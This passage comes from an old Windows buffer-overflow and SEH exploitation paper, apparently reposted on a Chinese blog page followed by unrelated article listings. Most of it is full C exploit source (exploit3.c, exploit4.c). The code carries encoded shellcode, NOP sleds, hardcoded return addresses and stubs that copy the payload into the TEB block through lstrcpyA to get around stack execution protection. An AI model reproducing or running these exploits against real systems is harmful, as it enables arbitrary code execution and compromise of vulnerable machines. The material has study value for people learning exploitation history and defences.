"/x46/xa2/xed/x5b/xef/x28/xc1/x1e/xd6/xd0/xac/xc0/x7a/x7a/x9c/x16"
"/x0c/x2b/x16/xad/x77/x04/xbf/x1b/x7a/x18/x67/x1a/xb5/x1e/x58/x1f"
"/xd5/x7f/xc8/x0f/xd5/x6f/xc8/xb0/xd0/x03/x11/x88/xb4/xf4/xcb/x1c"
"/xed/x2d/x98/x5e/xd9/xa6/x78/x25/x95/x7f/xcf/xb0/xd0/x0b/xcb/x18"
"/x7a/x7a/xb0/x1c/xd1/x78/x67/x1a/xa5/xa6/x5f/x27/xc6/x62/xdc/x4f"
"/x0c/xcc/x1f/xb5/xb4/xef/x15/x33/xa1/x83/xf2/x5a/xdc/xdc/x33/xc8"
"/x7f/xac/x74/x1b/x43/x6b/xbc/x5f/xc1/x49/x5f/x0b/xa1/x13/x99/x4e"
"/x0c/x53/xbc/x07/x0c/x53/xbc/x03/x0c/x53/xbc/x1f/x08/x6b/xbc/x5f"
"/xd1/x7f/xc9/x1e/xd4/x6e/xc9/x06/xd4/x7e/xcb/x1e/x7a/x5a/x98/x27"
"/xf7/xd1/x2b/x59/x7a/x7a/x9c/xb0/x55/xa6/x7e/xb0/xf0/x2f/xf0/xe2"
"/x5c/x2a/x56/xb0/xd0/x2b/x11/x8c/xef/xd0/x67/x79/x7a/xfc/x67/x3a"
"/x85/x47/x68/xc5/x81/x70/x67/x1a/x81/x1e/x43/x1c/x7a/xff/x98";

//NOTE!: DELETE needless

/* WIN 2000 and XP Unpached
 * EBX-based addressing
 */
char minicode[] = 
"/x66/x81/xeb/xa0/x01"  //sub bx, 0x1A0
"/xff/xe3";             //jmp bx          

/* WIN2000, WINXP
 * Current stack pointer-based addressing
 */
char minicode[]=
"/x89/xe0"           //mov eax, esp
"/x66/x05/xe4/x03"   //add ax, 0x3e4
"/xff/xe0";          //jmp eax

int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;

memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;

strcpy(buf, "/x90/x90/x90/x90");
strcat(buf, shellcode);                  
for(i=sizeof(shellcode);i<416;i++)
strcat(buf, "/x90");                   

*(unsigned long *)&buf[416] = JUMP;
*(unsigned long *)&buf[420] = RET;
strcat(buf, "/x90/x90/x90/x90");
strcat(buf, minicode);
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);	
return 0;
}
--------------------------------exploit3.c-------------------------------

Of course there is also a posibility to use EIP to address the shellcode.
Just use this trick:

  jmp a
  b:pop ebx    <--- now, the EIP value is in the EBX register

  //code       <--- here place your code (sub or add, and than jump)

  a:call b


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&>&>&<&><&>&<>&<>&<&><&>666[***exploit4.c]666<&><&>&<>&<>&<&><&>&<&<&
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                       (execution in TEB block)


The last method is very interesting because if the stack was configured to
forbid the execution of code that is placed on it, it will bypass it. How?
All the details are in my paper [1] but now I write only the general concept.
In TEB blocks there are some free locations, that are not used.For example, 
starting from 0x7FFDE1BC there is a buffer containing only NULL bytes, which 
we can overwrite. So the vuln.exe's buffer should look like the following:
                                                                       
[NOPs][shellcode][NOP][jump 6][call ebx, pop-pop-ret][NOP][BUF_ADDR][TEB][TEB][JUMP lstrcpyA]

where:

BUF_ADR         --> the address of the buffer with shellcode placed on the stack (address)
TEB             --> the address in the TEB block where we copy our shellcode and 
                    the return address for lstrcpyA (so the TEB block either ;])
JUMP lstrcpyA   --> a jump to a funtion that copies data (lstrcpyA, lstrcatA and so on)

--------------------------------exploit4.c-------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET 0x79392C0B   //jmp ebx, pop-pop-ret
#define JUMP 0x909006EB

//NOTE: DELETE needless
//For Win2000 and XP Unpatched
char minicode[]=
"/xb8/x5C/xDF/x35/x79"   //mov eax, STRCPY_FUNC  <-- the lstrcpyA's address
"/x66/x81/xeb/x9f/x01"   //sub bx, 190           <-- EBX should point to the NOP sledge before shellcode
"/x53"                   //push ebx              <-- push the address of buffer on the stack   
"/x68/xbc/xe1/xfd/x7f"   //push TEB              <-- copy to 0x7FFDE1BC
"/x68/xbc/xe1/xfd/x7f"   //push TEB              <-- and return to 0x7FFDE1BC
"/xff/xe0";              //jmp eax               <-- jump to lstrcpyA

//For Win2000, XP SP0-1
char minicode[]=
"/x89/xe3"               //mov ebx, esp
"/x66/x81/xc3/xe4/x03"   //add bx, 0x3e4         <-- EBX should point to the NOP sledge before shellcode
"/xb8/x5C/xDF/x35/x79"   //mov eax, STRCPY_FUNC
"/x53"                   //push ebx
"/x68/xbc/xe1/xfd/x7f"   //push TEB
"/x68/xbc/xe1/xfd/x7f"   //push TEB
"/xff/xe0";              //jmp eax

char shellcode[]=
"/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/x4f/x85"
"/x2f/x98/x83/xeb/xfc/xe2/xf4/xb3/x6d/x79/x98/x4f/x85/x7c/xcd/x19"
"/xd2/xa4/xf4/x6b/x9d/xa4/xdd/x73/x0e/x7b/x9d/x37/x84/xc5/x13/x05"
"/x9d/xa4/xc2/x6f/x84/xc4/x7b/x7d/xcc/xa4/xac/xc4/x84/xc1/xa9/xb0"
"/x79/x1e/x58/xe3/xbd/xcf/xec/x48/x44/xe0/x95/x4e/x42/xc4/x6a/x74"
"/xf9/x0b/x8c/x3a/x64/xa4/xc2/x6b/x84/xc4/xfe/xc4/x89/x64/x13/x15"
"/x99/x2e/x73/xc4/x81/xa4/x99/xa7/x6e/x2d/xa9/x8f/xda/x71/xc5/x14"
"/x47/x27/x98/x11/xef/x1f/xc1/x2b/x0e/x36/x13/x14/x89/xa4/xc3/x53"
"/x0e/x34/x13/x14/x8d/x7c/xf0/xc1/xcb/x21/x74/xb0/x53/xa6/x5f/xce"
"/x69/x2f/x99/x4f/x85/x78/xce/x1c/x0c/xca/x70/x68/x85/x2f/x98/xdf"
"/x84/x2f/x98/xf9/x9c/x37/x7f/xeb/x9c/x5f/x71/xaa/xcc/xa9/xd1/xeb"
"/x9f/x5f/x5f/xeb/x28/x01/x71/x96/x8c/xda/x35/x84/x68/xd3/xa3/x18"
"/xd6/x1d/xc7/x7c/xb7/x2f/xc3/xc2/xce/x0f/xc9/xb0/x52/xa6/x47/xc6"
"/x46/xa2/xed/x5b/xef/x28/xc1/x1e/xd6/xd0/xac/xc0/x7a/x7a/x9c/x16"
"/x0c/x2b/x16/xad/x77/x04/xbf/x1b/x7a/x18/x67/x1a/xb5/x1e/x58/x1f"
"/xd5/x7f/xc8/x0f/xd5/x6f/xc8/xb0/xd0/x03/x11/x88/xb4/xf4/xcb/x1c"
"/xed/x2d/x98/x5e/xd9/xa6/x78/x25/x95/x7f/xcf/xb0/xd0/x0b/xcb/x18"
"/x7a/x7a/xb0/x1c/xd1/x78/x67/x1a/xa5/xa6/x5f/x27/xc6/x62/xdc/x4f"
"/x0c/xcc/x1f/xb5/xb4/xef/x15/x33/xa1/x83/xf2/x5a/xdc/xdc/x33/xc8"
"/x7f/xac/x74/x1b/x43/x6b/xbc/x5f/xc1/x49/x5f/x0b/xa1/x13/x99/x4e"
"/x0c/x53/xbc/x07/x0c/x53/xbc/x03/x0c/x53/xbc/x1f/x08/x6b/xbc/x5f"
"/xd1/x7f/xc9/x1e/xd4/x6e/xc9/x06/xd4/x7e/xcb/x1e/x7a/x5a/x98/x27"
"/xf7/xd1/x2b/x59/x7a/x7a/x9c/xb0/x55/xa6/x7e/xb0/xf0/x2f/xf0/xe2"
"/x5c/x2a/x56/xb0/xd0/x2b/x11/x8c/xef/xd0/x67/x79/x7a/xfc/x67/x3a"
"/x85/x47/x68/xc5/x81/x70/x67/x1a/x81/x1e/x43/x1c/x7a/xff/x98";

int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;

memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;

strcpy(buf, "/x90/x90/x90/x90");
strcat(buf, shellcode);                  
for(i=sizeof(shellcode);i<416;i++)
strcat(buf, "/x90");

*(unsigned long *)&buf[416] = JUMP;
*(unsigned long *)&buf[420] = RET;
strcat(buf, "/x90");
strcat(buf, minicode);

bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);	
return 0;
}
--------------------------------exploit4.c-------------------------------


><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
>                   [>>5<<]. Summary                      <
>---------------------------------------------------------<


In this paper, I have described the way how SEH works, how to use it and
how to abuse it :). The knowledge from this paper provides a firm basis for
furhter research concerning on bypassing /SAFESEH, /GS or the stack protection
in Windows Server 2003. In the nearest future, the DaRk-CodeRs Group (maybe it
will be me once again) will probably publish results of our research :)
Stay tuned!!!

All questions, suggestions, comments -> e-mail address is in the title;]


><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
>                [>>6<<].Further reading                  <
>---------------------------------------------------------<


[1]  paper: "Shellcode locations and buffer overflows in Windows" at
     www.milw0rm.com/papers/205 | www.packetstormsecurity.com/shellcode/shellcode-locations.txt
[2]  paper: http://mirror.href.com/thestarman/asm/2bytejumps.htm
[3]  paper: http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html
[4]  paper: www.ngssoftware.com/papers/NISR.BlindExploitation.pdf
[5]  paper: www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
[6]  book : Jack Koziol - "The Shellcoder's Handbook"
[7]  book : Eldad Eilam - "Reversing: Secrets of Reverse Engineering"


><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
>                 [>>7<<]. Greetz'                        <
>---------------------------------------------------------<


Hard case :) Generally, I thank all people, I know (eeemmm, and i like of course ;]).
You all have contributed something to this paper and to my life;]. Particularly:
Ola N. (for everything: thanks baby :*), Mr. Piotr S. (for technical support (especially 
for provision:)) and for everything else), Pawel J. (for friendship), 0in(for enforced me 
to write about fuckin' SEH), c0ndemned, Die_Angel, m4r1usz, Katharsis(for "mental" support :)),
e.wiZz(hope you're doin' better and keep on fighting), Dobosz (for Steam's account), wilm@n, 
Konrad CZ. 



Stay secure

WhatsApp网页版扫码分析 扫码登录本质上是WhatsApp的多设备登录,设备之间可以独立运行,那么当我们首次通过WhatsApp扫码登录二维码时,到底发生了那些事情?交换了那些数据? 阅读详情

相关推荐

Vmware 17保姆级教程:从零部署华为enspPro模拟器(附镜像下载+配置优化)

本文提供了一份详尽的Vmware 17部署华为eNSP Pro模拟器的保姆级教程。内容涵盖从镜像下载、虚拟机导入、网络配置到深度性能调优的全过程,并针对常见启动失败、设备卡顿等故障提供了实用的排查方案,旨在帮助网络工程师和华为认证备考者快速搭建稳定高效的实验环境。

arduino9maker的博客 638

循环嵌套(多层 for 循环)

表:order(订单表,order_id, user_id)、user(用户表,user_id, user_name)✅ 优化:先查所有订单,拿到所有 user_id 批量 in 查询,内存 join。✅ 优化:先把优惠券转 HashMap,单层循环查找(hash 查找 O (1))SQL 只有 2 次,O (1) 数据库查询,内存遍历 O (n)。需求:查询所有订单列表,同时带出每个订单对应的用户名称。需求:订单列表、优惠券列表,把订单匹配对应的优惠券名称。复杂度:O (M+N),非常快。

weixin_43732943的博客 197

Win10系统下Protel 99 SE元件库导入报错?3步搞定File is not recognized问题

本文详细介绍了在Win10系统下解决Protel 99 SE元件库导入报错'File is not recognized'的3步终极方案。通过手动修改配置文件、使用专用工具和优化系统兼容性设置,帮助用户快速解决这一经典PCB设计软件的兼容性问题,提升工作效率。

m3n5b7v8c9x的博客 797

Python+Agent入门笔记(六):记忆和状态,从“一次性问答”到“能用助手”

滑动窗口的缺点很明显:被扔掉的信息就真没了。如果用户第一轮说“我不吃辣”,隔了二十轮让他推荐餐厅,模型已经忘了。定期把旧的对话压缩成一段总结,作为一条特殊的消息插进去。"""把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。"""# 把旧消息拼成纯文本,让模型总结content = f"[工具结果]把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。

qq_41241612的博客 105

YOLOv11 模型轻量化全流程:从剪枝到量化,打造移动端“极速检测利器”

将浮点模型量化为INT8模型,减少内存占用并加速推理。# 加载剪枝后的模型# 转换为TorchScript# 静态量化# 保存量化模型量化后模型推理速度可再提升20%,而mAP损失小于1%。

m0_64661770的博客 465

(五)深入理解Bluez协议栈之“GATT Server Profile”

上一篇介绍Bluez协议栈的了GAP Profile的实现,本章节我们继续介绍GATT Profile的实现,参考的程序是Peripheral。通过阅读它的实现代码可以发现,它广播部分是通过mgmt来实现的,然后在初始化完成之后,创建了一个L2CAP类型的socket,来负责实现GATT Server的逻辑。

1145

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

a bit 212

Allegro如何进行四层板板层设计

板层的设计

weixin_42499230的博客 3193

本地chatbot4--引入LangGraph

上一节实现了chatbot的连续调用工具的功能,但目前流程还是提示词→模型→解析→调用工具(可选)→输出线性的一条路走到底(LangChain)只适合简单线性任务(问答、摘要、简单RAG)agent的本质是:“模型决定调工具→执行→结果喂回模型→再决定……直到完成”。举例:读日志 → 解析 ─失败→ 重试(≤3次) ─→ 退出│成功↓算统计 → 对比历史 → 生成报告 → [人工审核卡点] → 发送。

weixin_45859446的博客 100

使用ESP32设计嵌入式蓝牙游戏手柄

通过使用ESP32开发板和相关的库,我们可以设计和实现嵌入式蓝牙游戏手柄。连接到该设备后,您可以使用控制器模块的按钮和摇杆等元件来模拟游戏手柄的输入。根据您使用的具体模块和引脚分配,连接按钮和摇杆等控制元件到ESP32的GPIO引脚。ESP32是一款功能强大的微控制器,集成了Wi-Fi和蓝牙功能,非常适合用于开发物联网和嵌入式应用。请注意,本文仅提供了一个基于ESP32的嵌入式蓝牙游戏手柄设计示例,具体实现可能因硬件和需求而有所不同。确保开发板正确连接到计算机,并选择正确的开发板和端口。

CodeMaven的博客 1643

传感器校准与标定:传感器的灵敏度校准_(11).常见传感器的灵敏度校准方法

线性校准:适用于传感器输出与输入之间存在线性关系的情况。通过收集数据并使用最小二乘法拟合线性方程,可以确定斜率和截距,从而实现校准。非线性校准:适用于传感器输出与输入之间存在非线性关系的情况。通过收集数据并使用非线性拟合方法(如最小二乘法),可以确定多项式或其他非线性方程的参数,从而实现校准。温度补偿校准:适用于传感器在不同温度下输出特性变化的情况。通过收集不同温度下的数据并使用温度补偿方程,可以提高传感器在不同温度下的测量精度。其他校准方法。

2401_87715305的博客 919

C# 数据结构和特殊类型

.NET Core(现称.NET)提供丰富数据结构,优化性能与开发效率。日常开发首选List<T>和Dictionary<TKey,TValue>;高性能场景推荐Span<T>与Memory<T>减少内存分配;并发环境使用ConcurrentDictionary等线程安全集合;避免非泛型集合如ArrayList。

cccloveforever的博客 729

Qt —— 在Win11下“Qt for Android“开发环境,通过USB在真机(华为Meta60 PRO)上调试运行,并打包APK并在真实手机运行

Qt —— 在Win11下“Qt for Android“开发环境,打包APK并在真实手机运行

315

C++ 入门笔记(十七):list 入门 —— 为什么 list 不能 sort?

第17课:用大白话讲清 list 的双向链表结构、哨兵头、push_back 四步、迭代器封装、merge 与 splice 的区别,以及 vector 排序为什么常比 list 快。

wo_jack的博客 243

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

list

的底层是双向链表结构,双向链表中每个元素存储在互不相关的独立节点中,在节点中通过指针指向其前一个元素和后一个元素。,因此反向迭代器的实现可以借助正向迭代器,即:反向迭代器内部可以包含一个正向迭代器,对正向迭代器的接口进行包装即可。是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。迭代到该位置,在这段位置上迭代需要线性的时间开销;最大的缺陷是不支持任意位置的随机访问,比如:要访问。还需要一些额外的空间,以保存每个节点的相关联信息。个元素,必须从已知的位置。

xie0510_的博客 289

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

3.链表相关知识点

链表

2501_93884468的博客 430

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

上万数据的批量插入

当数据达到上万上十万的时候,如何批量插入

junxunfs的博客 40

软件商店常见问题标准处理流程

从底层软件源来看,/etc/apt/sources.list配置错误、源地址失效、公网与内网离线源混用、ARM64与x86_64架构源串用,以及DNS解析异常、系统代理配置错误,都会导致商店无法获取应用数据;打开该应用,确认可正常运行;软件商店作为系统内置的图形化软件分发与安装入口(UKUI桌面配套组件,底层依赖APT软件源),承担着应用软件的浏览、搜索、下载、安装、升级与卸载等核心功能,是终端软件部署与管理的关键通道。覆盖软件商店启动、页面加载、应用下载、安装、卸载、搜索、自身更新等全部业务场景。

qq_39496637的博客 304

【AI 开发从入门到进阶 · 10】收官篇:LoRA 微调、模型评估、推理加速与生产部署全链路

本文系统梳理了大模型微调与生产落地的全流程,从决策是否微调、优选LoRA技术方案,到代码实现、效果评估、推理加速与FastAPI服务封装,最终构建可迭代的生产级AI系统。强调“逐级升级”原则,倡导以数据闭环驱动优化,避免技术冲动。全系列贯穿工程化思维,提供可复用模板与实战建议,助力开发者从模型训练迈向稳定可用的AI服务部署。

信息安全领域优质创作者|操作系统领域专家 123

LangGraph(03):状态归约、并行更新与消息管理

并行节点写入报错?历史消息无法清理?本文拆解 LangGraph 状态归约与消息增删改机制,带你精确控制复杂工作流状态。

专注于 Agent 工程、AI 产品、Harness Engineering、LLM 算法等方向,OpenMathModel、Nivik 等开源项目作者 137

ARIA规范

ARIA用来补充原生HTML缺失的语义,原则:优先原生标签,ARIA仅做补充。 ARIA角色role:定义组件身份,分为地标角色、构件角色、文档角色;构件角色用于自定义弹窗、tab、下拉菜单等复杂组件; ARIA状态与属性:以aria-开头,描述组件实时状态;常用:aria-label、aria-labelledby、aria-describedby、aria-hidden、aria-expanded、aria-selected、aria-modal、aria-live; 常用场景:图标按钮用aria-l

2401_83227843的博客 463

LangGraph 的分离思想总结

LangGraph 的分离思想,本质上是对"高内聚、低耦合"这一经典工程原则在 LLM 应用领域的落地。它通过状态与逻辑分离、节点职责分离、控制流与执行分离、计算与持久化分离、编排与实现分离五个层面,把一个难以维护的"大黑盒"拆解成一组可组合、可测试、可观测的部件。理解这套分离思想,比记住 API 更重要——因为当你面对新的智能体场景时,真正指导你做出合理拆分的,正是这些分离原则。

张晨光老师的播客 411

Java基础:泛型、类型擦除与 PECS 原则

泛型允许类、接口和方法使用类型参数,把许多类型检查提前到编译期,减少显式类型转换,提高代码复用性。例如。

cjpabc的博客 462

To-Do List 的「修改」功能与 CSS 定位

买牛奶</td><td index="1">写作业</td><td index="2">跑步

2401_89953644的博客 311

大模型记忆管理:消息是如何存储的

本文介绍了多轮对话中消息的存储方式,重点讲解了基于InMemoryChatMessageHistory的内存存储实现及会话隔离机制。通过为每个会话分配唯一ID,确保消息独立存储。同时展示了如何结合ChatPromptTemplate与消息历史实现上下文感知的对话,并提供了基于文件持久化的FileChatMessageHistory方案,支持消息长期保存与跨会话管理。

2301_80002260的博客 196

【C++初阶】list使用及相关实现,思路顺滑流畅!

list使用及相关实现

Severus_black的博客 222
上一篇: Shellcode locations and buffer overflows in Windows
下一篇: WMIC:从命令行对Windows的全面管理
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值